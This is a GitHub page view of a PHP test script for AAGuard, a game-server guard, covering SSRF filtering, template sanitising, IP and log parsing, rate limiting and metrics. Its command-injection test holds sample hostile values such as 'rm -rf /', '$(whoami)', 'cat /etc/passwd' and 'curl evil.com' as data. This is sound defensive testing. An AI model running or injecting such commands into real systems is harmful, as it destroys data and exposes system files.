Repository navigation
Expand file tree
/
Copy pathtests.php
More file actions
executable file
·1686 lines (1457 loc) · 82.4 KB
/
Copy pathtests.php
File metadata and controls
executable file
·1686 lines (1457 loc) · 82.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env php
<?php
declare(strict_types=1);
require_once __DIR__ . '/src/autoload.php';
use AAGuard\ActionRegistry;
use AAGuard\Guard;
use AAGuard\GuardConfig;
use AAGuard\IpInfoClient;
use AAGuard\Logger;
use AAGuard\Matcher;
use AAGuard\Metrics;
class SecurityTestRunner
{
private int $passed = 0;
private int $failed = 0;
private array $failures = [];
public function assert(bool $condition, string $message): void
{
if ($condition) {
$this->passed++;
echo "✓ {$message}\n";
} else {
$this->failed++;
$this->failures[] = $message;
echo "✗ {$message}\n";
}
}
public function assertEquals($expected, $actual, string $message): void
{
$this->assert($expected === $actual, $message . " (expected: " . var_export($expected, true) . ", got: " . var_export($actual, true) . ")");
}
public function assertNotEquals($expected, $actual, string $message): void
{
$this->assert($expected !== $actual, $message);
}
public function assertContains(string $needle, string $haystack, string $message): void
{
$this->assert(str_contains($haystack, $needle), $message);
}
public function assertNotContains(string $needle, string $haystack, string $message): void
{
$this->assert(!str_contains($haystack, $needle), $message);
}
public function report(): int
{
echo "\n" . str_repeat("=", 60) . "\n";
echo "Test Results: {$this->passed} passed, {$this->failed} failed\n";
if ($this->failed > 0) {
echo "\nFailed tests:\n";
foreach ($this->failures as $failure) {
echo " - {$failure}\n";
}
return 1;
}
echo "\n✓ All tests passed!\n";
return 0;
}
}
$test = new SecurityTestRunner();
echo "Testing Security Fixes\n";
echo str_repeat("=", 60) . "\n\n";
// ===================================================================
// Test 1: SSRF Protection - IpInfoClient validates private IPs
// ===================================================================
echo "Test 1: SSRF Protection in IpInfoClient\n";
echo str_repeat("-", 60) . "\n";
$client = new IpInfoClient('https://ipinfo.io', null, 2);
// Test invalid IPs
$result = $client->fetchNetworkName('999.999.999.999');
$test->assertEquals(false, $result['success'], "Rejects invalid IP 999.999.999.999");
$test->assertEquals('invalid_ip', $result['error'], "Returns invalid_ip error");
$result = $client->fetchNetworkName('not-an-ip');
$test->assertEquals(false, $result['success'], "Rejects non-IP string");
$test->assertEquals('invalid_ip', $result['error'], "Returns invalid_ip error for non-IP");
// Test private IPs (SSRF protection)
$privateIps = [
'10.0.0.1' => 'Private Class A',
'172.16.0.1' => 'Private Class B',
'192.168.1.1' => 'Private Class C',
'127.0.0.1' => 'Loopback',
'169.254.1.1' => 'Link-local',
];
foreach ($privateIps as $ip => $desc) {
$result = $client->fetchNetworkName($ip);
$test->assertEquals(false, $result['success'], "Rejects private IP {$ip} ({$desc})");
$test->assertEquals('private_ip', $result['error'], "Returns private_ip error for {$ip}");
}
// Test reserved IPs
$result = $client->fetchNetworkName('0.0.0.0');
$test->assertEquals(false, $result['success'], "Rejects reserved IP 0.0.0.0");
// Test IPv6 rejection (not supported)
$result = $client->fetchNetworkName('2001:4860:4860::8888');
$test->assertEquals(false, $result['success'], "Rejects IPv6 addresses");
$test->assertEquals('invalid_ip', $result['error'], "Returns invalid_ip for IPv6");
echo "\n";
// ===================================================================
// Test 2: Command Injection Protection - ActionRegistry sanitizes
// ===================================================================
echo "Test 2: Command Injection Protection in ActionRegistry\n";
echo str_repeat("-", 60) . "\n";
$commands = [];
$emitter = function (string $command) use (&$commands): void {
$commands[] = $command;
};
$registry = new ActionRegistry($emitter);
// Shell metacharacters must be PRESERVED. The guard writes directly to a file handle —
// no shell is involved — so ; $ | ` & ( are harmless and may appear in player names
// (e.g. "$+3\@|+#"). Only actual control chars (0x00-0x1F, 0x7F) are stripped because
// they can split the line and inject a second command.
$dangerousInputs = [
'player_id' => 'hacker; rm -rf /',
'display_name' => 'evil$(whoami)',
'ip' => '1.2.3.4|cat /etc/passwd',
'network_name' => 'VPN`id`',
'country' => 'US&& curl evil.com',
];
$commands = [];
$registry->executeTemplates(['KICK {{player_id}} {{display_name}} {{ip}} {{network_name}} {{country}}'], $dangerousInputs);
$test->assertEquals(1, count($commands), "Executes one command");
$command = $commands[0];
$test->assertContains(';', $command, "Preserves semicolon (no shell involved)");
$test->assertContains('$', $command, "Preserves dollar sign");
$test->assertContains('|', $command, "Preserves pipe");
$test->assertContains('`', $command, "Preserves backtick");
$test->assertContains('&', $command, "Preserves ampersand");
$test->assertContains('(', $command, "Preserves parenthesis");
// Test safe characters are preserved
$safeInputs = [
'player_id' => 'player_123',
'display_name' => 'Player-One',
'email' => 'admin@example.com',
];
$commands = [];
$registry->executeTemplates(['MESSAGE {{player_id}} {{display_name}} {{email}}'], $safeInputs);
$command = $commands[0];
$test->assertContains('player_123', $command, "Preserves alphanumeric with underscore");
$test->assertContains('Player-One', $command, "Preserves dash");
$test->assertContains('admin@example.com', $command, "Preserves @ symbol");
// Clan-tag braces and other exotic but printable nickname chars
$braceInputs = ['player_id' => '{mtp}stabber'];
$commands = [];
$registry->executeTemplates(['KICK {{player_id}}'], $braceInputs);
$command = $commands[0];
$test->assertContains('{mtp}stabber', $command, "Preserves clan-tag braces in player ID");
// Unicode, accented chars, and exotic punctuation found in real player names
$nicknameInputs = ['player_id' => '$+3\\@|+# ó ^* </s>'];
$commands = [];
$registry->executeTemplates(['KICK 0xffffff{{player_id}}'], $nicknameInputs);
$command = $commands[0];
$test->assertContains('$+3\\@|+# ó ^* </s>', $command, "Preserves unicode and exotic nickname chars");
// Actual newline in a player name would split the emitted line into two commands.
// It must be stripped.
$commands = [];
$registry->executeTemplates(['KICK {{player_id}}'], ['player_id' => "hacker\ncmd_injected"]);
$test->assertEquals(1, count($commands), "Newline removal still yields one command");
$command = $commands[0];
$test->assertNotContains("\n", $command, "Strips actual newline (prevents command injection)");
$test->assertContains('hacker', $command, "Keeps text before stripped newline");
// Literal backslash-n in player name (two printable chars) must NOT be treated as newline
$commands = [];
$registry->executeTemplates(['KICK {{player_id}}'], ['player_id' => 'player\\nname']);
$command = $commands[0];
$test->assertContains('player\\nname', $command, "Literal backslash-n preserved, not treated as newline");
// Test control character removal
$inputWithControl = ['player_id' => "player\x00\x01\x1F\x7F123"];
$commands = [];
$registry->executeTemplates(['KICK {{player_id}}'], $inputWithControl);
$command = $commands[0];
$test->assertContains('player123', $command, "Removes control characters");
$test->assertNotContains("\x00", $command, "Removes null byte");
echo "\n";
// ===================================================================
// Test 3: IP Validation in Guard - filter_var instead of regex
// ===================================================================
echo "Test 3: Strong IP Validation in Guard\n";
echo str_repeat("-", 60) . "\n";
$ipInfoClient = new IpInfoClient('https://ipinfo.io', null, 2);
$matcher = new Matcher([['name' => 'test', 'pattern' => '/test/']]);
$actions = new ActionRegistry(fn($cmd) => null);
$logger = new Logger();
$guard = new Guard(
$ipInfoClient,
$matcher,
$actions,
$logger,
new GuardConfig(
adminRecipients: [],
onConnectMessageTemplate: '{{player_id}} is connecting from {{country_name}} ({{country_code}}), network: {{network_name}}.',
onConnectActions: [],
onMatchActions: [],
retryDelaysMs: [100],
maxAttempts: 3,
cacheTtlSeconds: 1800,
dedupeWindowSeconds: 15,
),
new Metrics()
);
// Use reflection to test private method
$reflection = new ReflectionClass($guard);
$method = $reflection->getMethod('parsePlayerEnteredGrid');
$method->setAccessible(true);
// Test valid parsing
$result = $method->invoke($guard, 'PLAYER_ENTERED_GRID player_1 8.8.8.8 Player One');
$test->assertEquals(true, is_array($result), "Parses valid log line");
$test->assertEquals('player_1', $result['playerId'] ?? null, "Extracts player ID");
$test->assertEquals('8.8.8.8', $result['ip'] ?? null, "Extracts IP");
$test->assertEquals('Player One', $result['displayName'] ?? null, "Extracts display name");
// localTimeForTimezone(): valid IANA timezone computes real local time for that zone
$localTimeForTimezoneMethod = $reflection->getMethod('localTimeForTimezone');
$localTimeForTimezoneMethod->setAccessible(true);
$tokyoTime = $localTimeForTimezoneMethod->invoke($guard, 'Asia/Tokyo');
$expectedTokyoTime = (new DateTimeImmutable('now', new DateTimeZone('Asia/Tokyo')))->format('H:i');
$test->assertEquals($expectedTokyoTime, $tokyoTime, "localTimeForTimezone() computes real local time for a valid IANA timezone");
// localTimeForTimezone(): invalid/unknown timezone reports 'unknown', no server-time fallback
$unknownForInvalidTz = $localTimeForTimezoneMethod->invoke($guard, 'Not/AZone');
$test->assertEquals('unknown', $unknownForInvalidTz, "localTimeForTimezone() reports 'unknown' for invalid timezone string");
// localTimeForTimezone(): null timezone (lookup failed / unknown) reports 'unknown', no server-time fallback
$unknownForNullTz = $localTimeForTimezoneMethod->invoke($guard, null);
$test->assertEquals('unknown', $unknownForNullTz, "localTimeForTimezone() reports 'unknown' when timezone is null");
// Test invalid IPs are rejected
$invalidIps = ['999.999.999.999', '256.1.1.1', '1.2.3.999', 'not-an-ip', '1.2.3'];
foreach ($invalidIps as $invalidIp) {
$result = $method->invoke($guard, "PLAYER_ENTERED_GRID player_1 {$invalidIp} Player");
$test->assertEquals(null, $result, "Rejects invalid IP: {$invalidIp}");
}
// Test valid public IPs are accepted
$validIps = ['8.8.8.8', '1.1.1.1', '93.184.216.34'];
foreach ($validIps as $validIp) {
$result = $method->invoke($guard, "PLAYER_ENTERED_GRID player_1 {$validIp} Player");
$test->assertEquals(true, is_array($result), "Accepts valid IP: {$validIp}");
$test->assertEquals($validIp, $result['ip'] ?? null, "Correctly extracts IP: {$validIp}");
}
echo "\n";
// ===================================================================
// Test 3b: Remote command parsing for /guard metrics
// ===================================================================
echo "Test 3b: Remote Command Parsing\n";
echo str_repeat("-", 60) . "\n";
$parseInvalidCommand = $reflection->getMethod('parseInvalidCommand');
$parseInvalidCommand->setAccessible(true);
// Layout 1: INVALID_COMMAND <command> <player_id> <player_ip> <player_level> [args]
$remote1 = $parseInvalidCommand->invoke($guard, 'INVALID_COMMAND /guard admin_1 8.8.8.8 2 metrics');
$test->assertEquals(true, is_array($remote1), "Parses layout 1 with slash command");
$test->assertEquals('guard', $remote1['commandName'] ?? null, "Normalizes /guard to guard");
$test->assertEquals('metrics', $remote1['commandArgs'] ?? null, "Extracts metrics subcommand from layout 1");
// Layout 2: INVALID_COMMAND <player_id> <player_ip> <player_level> <command> [args]
$remote2 = $parseInvalidCommand->invoke($guard, 'INVALID_COMMAND admin_1 8.8.8.8 2 guard metrics');
$test->assertEquals(true, is_array($remote2), "Parses layout 2 with command after level");
$test->assertEquals('guard', $remote2['commandName'] ?? null, "Extracts guard command from layout 2");
$test->assertEquals('metrics', $remote2['commandArgs'] ?? null, "Extracts metrics subcommand from layout 2");
$parsePlayerRenamed = $reflection->getMethod('parsePlayerRenamed');
$parsePlayerRenamed->setAccessible(true);
$renamed = $parsePlayerRenamed->invoke($guard, 'PLAYER_RENAMED vanbozo vanbozo@rcl 192.168.51.69 1 vanbozo');
$test->assertEquals(true, is_array($renamed), 'Parses PLAYER_RENAMED line');
$test->assertEquals('vanbozo', $renamed['oldPlayerId'] ?? null, 'Extracts old player id from PLAYER_RENAMED');
$test->assertEquals('vanbozo@rcl', $renamed['newPlayerId'] ?? null, 'Extracts new player id from PLAYER_RENAMED');
$test->assertEquals('192.168.51.69', $renamed['ip'] ?? null, 'Extracts IP from PLAYER_RENAMED');
$test->assertEquals(true, $renamed['didLogin'] ?? null, 'Extracts did_login flag from PLAYER_RENAMED');
$test->assertEquals('vanbozo', $renamed['displayName'] ?? null, 'Extracts screen name from PLAYER_RENAMED');
$parsePlayerEnteredSpectator = $reflection->getMethod('parsePlayerEnteredSpectator');
$parsePlayerEnteredSpectator->setAccessible(true);
$spectator = $parsePlayerEnteredSpectator->invoke($guard, 'PLAYER_ENTERED_SPECTATOR spectator_p4 192.168.51.69 P4');
$test->assertEquals(true, is_array($spectator), 'Parses PLAYER_ENTERED_SPECTATOR line');
$test->assertEquals('spectator_p4', $spectator['playerId'] ?? null, 'Extracts player id from PLAYER_ENTERED_SPECTATOR');
$test->assertEquals('192.168.51.69', $spectator['ip'] ?? null, 'Extracts IP from PLAYER_ENTERED_SPECTATOR');
$test->assertEquals('P4', $spectator['displayName'] ?? null, 'Extracts display name from PLAYER_ENTERED_SPECTATOR');
$test->assertEquals(true, is_array($parsePlayerEnteredSpectator->invoke($guard, 'PLAYER_ENTERED_SPECTATOR s1 8.8.8.8 Spectator One')), 'Accepts valid spectator entry');
foreach (['999.999.999.999', 'not-an-ip'] as $invalidIp) {
$result = $parsePlayerEnteredSpectator->invoke($guard, "PLAYER_ENTERED_SPECTATOR s1 {$invalidIp} Spec");
$test->assertEquals(null, $result, "Rejects invalid IP in PLAYER_ENTERED_SPECTATOR: {$invalidIp}");
}
echo "\n";
// ===================================================================
// Test 4: ReDoS Protection - Matcher handles errors properly
// ===================================================================
echo "Test 4: ReDoS Protection in Matcher\n";
echo str_repeat("-", 60) . "\n";
// Test basic matching
$matcher = new Matcher([['name' => 'VPN', 'pattern' => '/vpn/i']]);
$result = $matcher->match('Some VPN Service');
$test->assertEquals(true, $result['matched'], "Matches VPN pattern");
$test->assertEquals('VPN', $result['ruleName'], "Returns correct rule name");
// Test no match
$result = $matcher->match('Regular ISP');
$test->assertEquals(false, $result['matched'], "No match for non-VPN");
$test->assertEquals(null, $result['ruleName'], "Returns null rule name");
// Test invalid regex handling (no @ suppression)
$matcher = new Matcher([
['name' => 'Invalid', 'pattern' => '/[invalid/'],
['name' => 'Valid', 'pattern' => '/vpn/i'],
]);
$result = $matcher->match('VPN Service');
$test->assertEquals(true, $result['matched'], "Skips invalid regex and continues");
$test->assertEquals('Valid', $result['ruleName'], "Matches with valid pattern after invalid");
// Test case-insensitive
$matcher = new Matcher([['name' => 'VPN', 'pattern' => '/vpn/i']]);
foreach (['VPN', 'vpn', 'Vpn'] as $variant) {
$result = $matcher->match($variant);
$test->assertEquals(true, $result['matched'], "Case-insensitive match for {$variant}");
}
// Test complex patterns
$matcher = new Matcher([['name' => 'Cloud', 'pattern' => '/(cloud|hosting|datacenter)/i']]);
$test->assertEquals(true, $matcher->match('Cloud Services')['matched'], "Matches cloud");
$test->assertEquals(true, $matcher->match('Hosting Provider')['matched'], "Matches hosting");
$test->assertEquals(false, $matcher->match('Regular ISP')['matched'], "No match for regular");
echo "\n";
// ===================================================================
// Test 5: Config validation (from aa_guard.php changes)
// ===================================================================
echo "Test 5: Config Validation\n";
echo str_repeat("-", 60) . "\n";
// Test that the validation code exists in aa_guard.php
$scriptContent = file_get_contents(__DIR__ . '/bin/aa_guard.php');
$test->assertContains('Validate each rule has required fields', $scriptContent, "Config validation comment exists");
$test->assertContains("is_string(\$rule['name'])", $scriptContent, "Validates rule name is string");
$test->assertContains("is_string(\$rule['pattern'])", $scriptContent, "Validates rule pattern is string");
$test->assertContains('@preg_match($rule[\'pattern\']', $scriptContent, "Tests regex pattern validity");
echo "\n";
// ===================================================================
// Test 6: Rate Limiting in IpInfoClient
// ===================================================================
echo "Test 6: Rate Limiting in IpInfoClient\n";
echo str_repeat("-", 60) . "\n";
// rateLimit=0 means no calls allowed — immediately rate limited
$rateLimitedClient = new IpInfoClient('https://ipinfo.io', null, 2, 0);
$result = $rateLimitedClient->fetchNetworkName('8.8.8.8');
$test->assertEquals(false, $result['success'], "Rate limited client returns failure");
$test->assertEquals('rate_limited', $result['error'], "Rate limited client returns rate_limited error");
$test->assertEquals(true, $rateLimitedClient->isRateLimited(), "isRateLimited() returns true");
$retryMs = $rateLimitedClient->getRateLimitRetryAfterMs();
$test->assertEquals(true, $retryMs > 0, "getRateLimitRetryAfterMs() returns positive value ({$retryMs}ms)");
$test->assertEquals(true, $retryMs <= 60000, "getRateLimitRetryAfterMs() <= 60s");
// rateLimit=1 allows exactly one call, second is rate limited (uses invalid IP to avoid real API call)
$oneCallClient = new IpInfoClient('https://ipinfo.io', null, 2, 1);
$result1 = $oneCallClient->fetchNetworkName('999.999.999.999'); // rejected before rate limit check
$test->assertEquals('invalid_ip', $result1['error'], "Invalid IP rejected before rate limiter");
$test->assertEquals(false, $oneCallClient->isRateLimited(), "Rate limiter not decremented for invalid IP");
// isRateLimited() returns true AFTER a call that was rate limited (window is then initialized)
$client2 = new IpInfoClient('https://ipinfo.io', null, 2, 0);
$client2->fetchNetworkName('8.8.8.8'); // triggers window init + rate limit
$test->assertEquals(true, $client2->isRateLimited(), "isRateLimited() true after rate-limited call");
echo "\n";
// ===================================================================
// Test 7: Metrics counters
// ===================================================================
echo "Test 7: Metrics counters\n";
echo str_repeat("-", 60) . "\n";
$metrics = new Metrics();
$test->assertEquals(0, $metrics->bans, "Metrics starts at zero: bans");
$test->assertEquals(0, $metrics->lookups, "Metrics starts at zero: lookups");
$test->assertEquals(0, $metrics->cacheHits, "Metrics starts at zero: cacheHits");
$test->assertEquals(0, $metrics->apiErrors, "Metrics starts at zero: apiErrors");
$test->assertEquals(0, $metrics->rateLimited, "Metrics starts at zero: rateLimited");
$test->assertEquals(0, $metrics->invalidIps, "Metrics starts at zero: invalidIps");
// Rate limited call increments rateLimited counter
$mClient = new IpInfoClient('https://ipinfo.io', null, 2, 0, $metrics);
$mClient->fetchNetworkName('8.8.8.8');
$test->assertEquals(1, $metrics->rateLimited, "Rate limited call increments rateLimited counter");
$test->assertEquals(0, $metrics->lookups, "Rate limited call does not increment lookups");
// Invalid IP rejected before rate limiter — does NOT increment any IpInfoClient counter
$metrics2 = new Metrics();
$mClient2 = new IpInfoClient('https://ipinfo.io', null, 2, 30, $metrics2);
$mClient2->fetchNetworkName('999.999.999.999'); // invalid_ip returned before rate limit check
$test->assertEquals(0, $metrics2->rateLimited, "Invalid IP does not increment rateLimited");
$test->assertEquals(0, $metrics2->lookups, "Invalid IP does not increment lookups");
// Metrics toTemplateContext returns all expected keys
$ctx = $metrics->toTemplateContext();
$test->assertEquals(true, isset($ctx['bans']), "Template context has bans key");
$test->assertEquals(true, isset($ctx['lookups']), "Template context has lookups key");
$test->assertEquals(true, isset($ctx['cache_hits']), "Template context has cache_hits key");
$test->assertEquals(true, isset($ctx['api_errors']), "Template context has api_errors key");
$test->assertEquals(true, isset($ctx['rate_limited']), "Template context has rate_limited key");
$test->assertEquals(true, isset($ctx['invalid_ips']), "Template context has invalid_ips key");
$test->assertEquals(true, isset($ctx['last_action_who']), "Template context has last_action_who key");
$test->assertEquals(true, isset($ctx['last_action_why']), "Template context has last_action_why key");
$test->assertEquals(true, isset($ctx['runtime']), "Template context has runtime key");
$test->assertEquals(true, preg_match('/^\d+(?:y|mo|d|h|m)(?: \d+(?:y|mo|d|h|m))*$/', $ctx['runtime']) === 1, "runtime has dynamic human-readable format");
$test->assertEquals(false, str_contains($ctx['runtime'], 's'), "runtime omits seconds");
// Runtime formatting test for deterministic duration
$metricsRuntime = new Metrics();
$metricsRuntimeReflection = new ReflectionClass($metricsRuntime);
$startedAtProperty = $metricsRuntimeReflection->getProperty('startedAt');
$startedAtProperty->setAccessible(true);
$runtimeSeconds = (246 * 86400) + (21 * 3600) + (35 * 60) + 17;
$startedAtProperty->setValue($metricsRuntime, microtime(true) - $runtimeSeconds);
$runtimeCtx = $metricsRuntime->toTemplateContext();
$test->assertEquals('8mo 6d 21h 35m', $runtimeCtx['runtime'], "runtime format matches expected dynamic y/mo/d/h/m output");
// Runtime under one minute should still emit minutes unit
$metricsUnderMinute = new Metrics();
$metricsUnderMinuteReflection = new ReflectionClass($metricsUnderMinute);
$underMinuteStartedAtProperty = $metricsUnderMinuteReflection->getProperty('startedAt');
$underMinuteStartedAtProperty->setAccessible(true);
$underMinuteStartedAtProperty->setValue($metricsUnderMinute, microtime(true) - 42);
$underMinuteCtx = $metricsUnderMinute->toTemplateContext();
$test->assertEquals('0m', $underMinuteCtx['runtime'], "runtime under one minute is shown as 0m");
// Metrics toLogString returns a non-empty string
$logStr = $metrics->toLogString();
$test->assertEquals(true, str_contains($logStr, 'bans='), "toLogString contains bans");
$test->assertEquals(true, str_contains($logStr, 'lookups='), "toLogString contains lookups");
$test->assertEquals(true, str_contains($logStr, 'last_action_who='), "toLogString contains last_action_who");
$test->assertEquals(true, str_contains($logStr, 'last_action_why='), "toLogString contains last_action_why");
$test->assertEquals(true, str_contains($logStr, 'runtime='), "toLogString contains runtime");
$metrics->recordLastAction('player_x', 'vpn');
$ctxAfterAction = $metrics->toTemplateContext();
$test->assertEquals('player_x', $ctxAfterAction['last_action_who'] ?? null, 'recordLastAction stores last_action_who');
$test->assertEquals('vpn', $ctxAfterAction['last_action_why'] ?? null, 'recordLastAction stores last_action_why');
echo "\n";
// ===================================================================
// Test 8: Startup broadcast and onConnect message context
// ===================================================================
echo "Test 8: Startup broadcast and onConnect context\n";
echo str_repeat("-", 60) . "\n";
$scriptContent = file_get_contents(__DIR__ . '/bin/aa_guard.php');
$test->assertContains("actions']['onStartup", $scriptContent, "Startup template is loaded from config actions.onStartup");
$actionsConfig = json_decode((string) file_get_contents(__DIR__ . '/config/actions.json'), true);
$test->assert(in_array('LADDERLOG_WRITE_PLAYER_ENTERED_GRID 1', $actionsConfig['onStartup'] ?? [], true), 'Startup actions enable PLAYER_ENTERED_GRID ladderlog writes');
$test->assert(in_array('LADDERLOG_WRITE_PLAYER_ENTERED_SPECTATOR 1', $actionsConfig['onStartup'] ?? [], true), 'Startup actions enable PLAYER_ENTERED_SPECTATOR ladderlog writes');
$test->assert(in_array('LADDERLOG_WRITE_INVALID_COMMAND 1', $actionsConfig['onStartup'] ?? [], true), 'Startup actions enable INVALID_COMMAND ladderlog writes');
$test->assert(in_array('LADDERLOG_WRITE_PLAYER_RENAMED 1', $actionsConfig['onStartup'] ?? [], true), 'Startup actions enable PLAYER_RENAMED ladderlog writes');
$test->assert(in_array('LADDERLOG_WRITE_PLAYER_LEFT 1', $actionsConfig['onStartup'] ?? [], true), 'Startup actions enable PLAYER_LEFT ladderlog writes');
$countryClient = new IpInfoClient('https://ipinfo.io', null, 2);
$countryReflection = new ReflectionClass($countryClient);
$extractCountryNameMethod = $countryReflection->getMethod('extractCountryName');
$extractCountryNameMethod->setAccessible(true);
$fallbackCountryName = $extractCountryNameMethod->invoke($countryClient, ['country' => 'BY']);
$test->assertEquals('Belarus', $fallbackCountryName, "Fallback resolves country code to full country name");
$onConnectCommands = [];
$onConnectRegistry = new ActionRegistry(function (string $command) use (&$onConnectCommands): void {
$onConnectCommands[] = $command;
});
$guardForConnect = new Guard(
new IpInfoClient('https://ipinfo.io', null, 2),
new Matcher([['name' => 'never-match', 'pattern' => '/^$/']]),
$onConnectRegistry,
new Logger(),
new GuardConfig(
adminRecipients: ['AdminOne'],
onConnectMessageTemplate: '{{player_id}} is connecting from {{country_name}} ({{country_code}}), network: {{network_name}}.',
onConnectActions: [
'# CONSOLE_MESSAGE {{player_id}} is connecting from {{country_name}} ({{country_code}}), network: {{network_name}}. time={{time}}',
'PLAYER_MESSAGE {{admin}} "{{msg}}"',
],
onMatchActions: [],
retryDelaysMs: [100],
maxAttempts: 1,
cacheTtlSeconds: 1800,
dedupeWindowSeconds: 15,
),
new Metrics()
);
$guardReflection = new ReflectionClass($guardForConnect);
$cacheProperty = $guardReflection->getProperty('ipCache');
$cacheProperty->setAccessible(true);
$cacheProperty->setValue($guardForConnect, [
'8.8.8.8' => [
'networkName' => 'Orange Polska S.A.',
'country' => 'Poland',
'countryCode' => 'PL',
'countryName' => 'Poland',
'timezone' => 'Europe/Warsaw',
'expiresAt' => microtime(true) + 60,
],
]);
$connectOnlinePlayersProperty = $guardReflection->getProperty('onlinePlayers');
$connectOnlinePlayersProperty->setAccessible(true);
$connectOnlinePlayersProperty->setValue($guardForConnect, [
'AdminOne' => ['player_id' => 'AdminOne', 'player_name' => 'AdminOne', 'player_ip' => '1.2.3.4', 'player_country' => 'unknown', 'player_network' => 'unknown', 'player_timezone' => null],
]);
$guardForConnect->handleLogLine('PLAYER_ENTERED_GRID player_one 8.8.8.8 Player One');
$test->assertEquals(2, count($onConnectCommands), "onConnect emits console and admin messages");
$test->assertContains('Poland (PL)', $onConnectCommands[0] ?? '', "CONSOLE_MESSAGE includes full country name and code");
$test->assertContains('Orange Polska S.A.', $onConnectCommands[0] ?? '', "CONSOLE_MESSAGE includes as-name/network");
$test->assert(preg_match('/time=\d{2}:\d{2}/', $onConnectCommands[0] ?? '') === 1, "CONSOLE_MESSAGE includes {{time}} placeholder rendered as HH:MM");
$expectedWarsawTime = (new DateTimeImmutable('now', new DateTimeZone('Europe/Warsaw')))->format('H:i');
$test->assertContains('time=' . $expectedWarsawTime, $onConnectCommands[0] ?? '', "join {{time}} uses player's own timezone (Europe/Warsaw) from ipinfo.io, not server local time");
$test->assertContains('Poland (PL)', $onConnectCommands[1] ?? '', "PLAYER_MESSAGE includes full country name and code");
$test->assertContains('Orange Polska S.A.', $onConnectCommands[1] ?? '', "PLAYER_MESSAGE includes as-name/network");
$noTzCommands = [];
$noTzRegistry = new ActionRegistry(function (string $command) use (&$noTzCommands): void {
$noTzCommands[] = $command;
});
$guardForNoTimezone = new Guard(
new IpInfoClient('https://ipinfo.io', null, 2),
new Matcher([['name' => 'never-match', 'pattern' => '/^$/']]),
$noTzRegistry,
new Logger(),
new GuardConfig(
adminRecipients: ['AdminOne'],
onConnectMessageTemplate: '{{player_id}} is connecting from {{country_name}} ({{country_code}}), network: {{network_name}}, time={{time}}.',
onConnectActions: ['PLAYER_MESSAGE {{admin}} "{{msg}}"'],
onMatchActions: [],
retryDelaysMs: [100],
maxAttempts: 1,
cacheTtlSeconds: 1800,
dedupeWindowSeconds: 15,
),
new Metrics()
);
$noTzReflection = new ReflectionClass($guardForNoTimezone);
$noTzCacheProperty = $noTzReflection->getProperty('ipCache');
$noTzCacheProperty->setAccessible(true);
$noTzCacheProperty->setValue($guardForNoTimezone, [
'9.9.9.9' => [
'networkName' => 'Unknown Provider',
'country' => 'Poland',
'countryCode' => 'PL',
'countryName' => 'Poland',
'timezone' => null,
'expiresAt' => microtime(true) + 60,
],
]);
